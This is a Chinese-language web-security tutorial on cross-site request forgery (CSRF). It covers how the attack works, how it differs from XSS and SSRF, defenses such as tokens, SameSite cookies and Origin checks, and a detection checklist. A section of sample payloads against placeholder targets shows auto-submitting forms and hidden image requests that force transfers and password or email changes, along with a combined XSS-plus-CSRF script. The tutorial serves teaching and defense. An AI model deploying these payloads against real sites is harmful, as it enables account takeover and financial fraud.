6181 字
21 分钟阅读
CSRF

一、CSRF 概念

CSRF(Cross-Site Request Forgery,跨站请求伪造) 是一种利用用户在目标网站的登录状态,伪造用户请求执行非预期操作的攻击方式。

简单来说就是:攻击者诱导已登录用户点击链接或访问恶意页面,借用用户的身份凭证(Cookie/Session),以用户名义向目标网站发送恶意请求。

类比理解:
你坐在银行柜台办业务,中途有人递给你一张纸条让你签个字,你以为是银行的表格随手签了。
结果那张纸条是"转账 10000 元给骗子"的授权书——银行一看是"你"亲笔签名的,照办了。

CSRF 就是这种"借你的手,干我的事"的攻击。

攻击前提

条件说明
用户已登录目标站点用户的浏览器持有目标站点的有效 Session/Cookie
目标站点存在可被预测的请求所有参数(包括隐含参数)攻击者可以提前构造
请求无需自定义 Header没有 CSRF Token、Origin/Referer 校验等防御

核心原理

CSRF 利用的是浏览器自动携带 Cookie 的机制:

1. 用户登录 A 网站(如银行),浏览器保存了 A 的 Session Cookie
2. 用户未登出 A 网站,同时又访问了 B 网站(恶意网站)
3. B 网站构造一个请求:<img src="http://bank.com/transfer?to=attacker&amount=10000">
4. 浏览器请求该图片 → 自动带上 bank.com 的 Cookie
5. 银行服务器收到请求,检测到 Cookie 有效 → 认为是用户本人操作 → 执行转账

二、CSRF 与 XSS 的区别

对比维度CSRFXSS
攻击方向站外攻击:恶意网站冒充用户向目标站发请求站内攻击:在目标站的页面中执行恶意脚本
利用方式借用用户的 Cookie/Session盗取用户的 Cookie 或直接操控页面
信任关系利用服务器对用户的信任(Session 有效)利用用户对网站的信任(浏览器信任网站返回的代码)
是否需要用户交互需要用户点击链接/访问恶意页面通常用户只是浏览页面即自动触发
本质身份冒充——伪造请求,冒充用户操作代码注入——在可信页面中执行恶意代码
能否窃取数据通常不能读取响应内容(仅能发送请求)可以读取页面数据并发送到攻击者服务器
一句话总结:
  XSS  → 网站信任用户输入 → 注入脚本
  CSRF → 服务器信任用户浏览器 → 伪造请求

三、CSRF 攻击类型

1. GET 型 CSRF

利用方式:在恶意页面中嵌入标签自动发起 GET 请求。

<!-- 方式一:图片标签(自动请求,无感知) -->
<img src="http://target.com/transfer?to=attacker&amount=10000" style="display:none" />

<!-- 方式二:iframe -->
<iframe src="http://target.com/transfer?to=attacker&amount=10000" style="display:none"></iframe>

<!-- 方式三:标签链接诱导点击 -->
<a href="http://target.com/transfer?to=attacker&amount=10000">点击领取优惠券</a>

2. POST 型 CSRF

利用方式:通过 JavaScript 自动提交表单。

<html>
<body>
  <!-- 隐藏表单自动提交 -->
  <form id="csrf-form" action="http://target.com/transfer" method="POST">
    <input type="hidden" name="to" value="attacker" />
    <input type="hidden" name="amount" value="10000" />
  </form>
  <script>
    document.getElementById('csrf-form').submit();
  </script>
</body>
</html>

3. JSON/API 型 CSRF

随着前后端分离和 RESTful API 的普及,很多应用使用 JSON 格式提交数据。

<!-- 利用 fetch 发送 JSON 请求 -->
<script>
fetch('http://target.com/api/transfer', {
  method: 'POST',
  credentials: 'include',  // 携带 Cookie
  headers: { 'Content-Type': 'application/json' },
  body: JSON.stringify({ to: 'attacker', amount: 10000 })
});
</script>

注意credentials: 'include' 在跨域时会被 CORS 策略限制。但如果是同站请求(SameSite 未严格限制)或服务端 CORS 配置不当(Access-Control-Allow-Origin: * + Access-Control-Allow-Credentials: true),仍可成功利用。

四、CSRF 攻击流程详解

sequenceDiagram
    participant User as 管理员用户
    participant Target as 目标网站
    participant Attacker as 攻击者网站

    User->>Target: 登录目标网站
    Target-->>User: 返回 Cookie/Session
    Note over User,Target: 用户保持登录状态

    User->>Attacker: 访问恶意网站(无意中)
    Attacker->>User: 返回恶意页面(含伪造请求)

    Note over User: 浏览器自动携带<br/>目标网站的 Cookie

    User->>Target: 发送伪造请求(自动带Cookie)
    Target->>Target: 验证 Cookie 有效 ✓
    Target->>Target: 执行操作(转账/改密/发帖)
    Target-->>User: 操作成功

    Note over Attacker: 攻击完成!

五、常见攻击场景

场景操作危害
修改密码POST /change_password?new_pwd=123456账户被锁定
转账/消费POST /transfer?to=attacker&amount=10000资金损失
发表内容POST /post?title=spam&content=...垃圾信息/钓鱼内容
修改邮箱POST /change_email?email=attacker@evil.com后续可通过邮箱找回密码完全接管账号
注销账户POST /delete_account用户数据被删除
修改权限POST /admin/add_admin?user=attacker权限提升(仅限管理后台)
网购下单POST /order?item_id=xxx&quantity=100用户不知情下单支付
投票/点赞GET /vote?id=xxx刷票、操纵排名

六、CSRF 防御措施

1.CSRF Token(最主流)

服务端在表单中嵌入一个随机 Token,请求时必须携带该 Token 才能通过验证。

<!-- 服务端渲染时生成 Token 嵌入表单 -->
<form action="/transfer" method="POST">
  <input type="hidden" name="csrf_token" value="随机生成的Token值" />
  <input type="text" name="to" />
  <input type="number" name="amount" />
  <button type="submit">转账</button>
</form>
// 服务端验证(以 Node.js 为例)
app.post('/transfer', (req, res) => {
  const token = req.body.csrf_token;
  if (token !== req.session.csrf_token) {
    return res.status(403).send('CSRF Token 无效');
  }
  // 执行转账...
});

防御原理:攻击者无法获取用户页面的 Token 值(同源策略限制跨域读取 DOM),因此构造的请求中无法包含正确的 Token。

2. SameSite Cookie 属性

设置 Cookie 的 SameSite 属性,限制跨站请求是否携带 Cookie。

// 服务端设置 Cookie
Set-Cookie: session=xxx; SameSite=Strict; Secure; HttpOnly
SameSite 值行为防御效果
strict任何跨站请求都不带Cookie最严格,但用户体验可能受影响(从第三方链接跳转过来未登录)
LaxGET请求(如链接、预加载)带Cookie;
POST/表单不带
单不带平衡安全与体验,推荐默认值
None任何跨站请求都携带Cookie不安全,须配合 Secure(仅 HTTPS)使用

浏览器现状:Chrome 2021 年起默认 Cookie 的 SameSite 为 Lax,这已经能防御大部分 CSRF 攻击(特别是 POST 型)。

3.Referer/Origin 验证

检查请求头中的 RefererOrigin 字段,判断请求来源是否合法。

// 服务端验证 Referer
app.post('/transfer', (req, res) => {
  const referer = req.headers.referer || '';
  if (!referer.startsWith('https://target.com/')) {
    return res.status(403).send('非法来源');
  }
  // 执行转账...
});

局限性Referer 可能被浏览器隐私设置禁用,也可被 <meta> 标签控制。Origin 更可靠,但部分请求可能不带 Origin

4.关键操作二次验证

敏感操作要求用户输入密码、验证码或进行生物识别。

应用场景:
   修改密码 → 要求输入原密码
   大额转账 → 短信验证码
   删除账号 → 邮箱确认链接
   绑定手机 → 短信验证码

5. 自定义 Request Header

要求请求携带非标准 Header(如 X-Requested-With: XMLHttpRequest),由于跨域请求自定义 Header 受 CORS 限制,可以防御 CSRF。

// 前端所有 AJAX 请求添加自定义 Header
fetch('/api/transfer', {
  method: 'POST',
  headers: {
    'X-Requested-With': 'XMLHttpRequest',
    'X-CSRF-Protection': '1'
  },
  credentials: 'include',
  // ...
});
// 服务端验证
app.post('/api/*', (req, res, next) => {
  if (req.headers['x-requested-with'] !== 'XMLHttpRequest') {
    return res.status(403).send('非法请求');
  }
  next();
});

防御方案对比

防御方案强度用户体验影响实施难度说明
CSRF Token⭐⭐⭐⭐⭐无(隐藏字段)最推荐,需要服务端渲染配合
SameSite=Lax⭐⭐⭐⭐极低浏览器自带防护,强力推荐
SameSite=Strict⭐⭐⭐⭐⭐高(跳转丢失登录态)适合银行/支付等对安全要求极高的场景
Origin/Referer 验证⭐⭐⭐辅助方案,不能作为唯一防御
二次验证⭐⭐⭐⭐⭐关键操作的最后防线
自定义 Header⭐⭐⭐⭐适合前后端分离的 API 架构

七、CSRF 实战 Payload 示例

针对论坛/博客的 CSRF 发帖

<!-- 诱使用户自动发帖 -->
<html>
<body>
  <form id="csrf" action="http://forum.target.com/post/create" method="POST">
    <input type="hidden" name="title" value="免费送VIP!点击领取" />
    <input type="hidden" name="content" value="<script>恶意脚本内容...</script>" />
    <input type="hidden" name="category" value="general" />
  </form>
  <script>document.getElementById('csrf').submit();</script>
</body>
</html>

针对修改密码的 CSRF

<!-- 诱导用户修改密码(攻击者提前知道新密码) -->
<html>
<body>
  <img src="http://target.com/user/change_pwd?new_pwd=hacker123&confirm=hacker123" style="display:none"/>
  <h1>恭喜你中奖了!点击领取...</h1>
</body>
</html>

组合 XSS + CSRF(威力翻倍)

<!-- XSS 注入的页面中构造 CSRF 请求 -->
<script>
// 利用 XSS 插入的脚本,批量执行 CSRF 攻击
var targets = [
  '/user/change_pwd?new_pwd=hack123&confirm=hack123',
  '/user/change_email?email=hacker@evil.com',
  '/transfer?to=attacker&amount=10000'
];

targets.forEach(function(url) {
  new Image().src = 'http://target.com' + url;
});
</script>

八、CSRF 漏洞检测 Checklist

□ 目标站点对关键操作是否使用了 CSRF Token?
  → 查看表单中是否有隐藏的 csrf_token / _token 字段

□ Cookie 是否设置了 SameSite 属性?
  → 检查 Set-Cookie 响应头中 SameSite 的值

□ 服务端是否验证 Referer/Origin?
  → 修改 Referer 为恶意来源后请求是否仍成功

□ 敏感操作是否有二次验证?
  → 修改密码、转账等操作是否要求输入密码/验证码

□ CORS 配置是否允许跨域携带凭证?
  → 检查 Access-Control-Allow-Credentials: true 的配置

□ GET 请求是否会修改服务端状态?
  → 按理 GET 应该是幂等的,若 GET 会改数据则是 CSRF 高风险

九、CSRF 与 SSRF 对比

CSRF 和 SSRF 仅一个字母之差,但攻击原理完全不同,容易混淆:

对比维度CSRFSSRF
全称Cross-Site Request ForgeryServer-Side Request Forgery
中文跨站请求伪造服务端请求伪造
攻击对象用户(冒充用户操作)服务器(让服务器代发请求)
利用的是浏览器自动携带 Cookie 的机制服务器对内网/本地的信任(防火墙绕过)
请求由谁发起用户浏览器目标服务器自身
攻击目标以用户身份在目标站执行操作访问内网/本地资源(横向移动、读文件)
防护重点CSRF Token、SameSite CookieURL 白名单、禁止内网 IP、协议限制
类比理解:
  CSRF → 骗子假借你的手去银行办业务
  SSRF → 骗子让银行职员去金库替他拿东西(因为金库不让客户进)

发表评论

您的邮箱地址不会被公开。 必填项已用 * 标注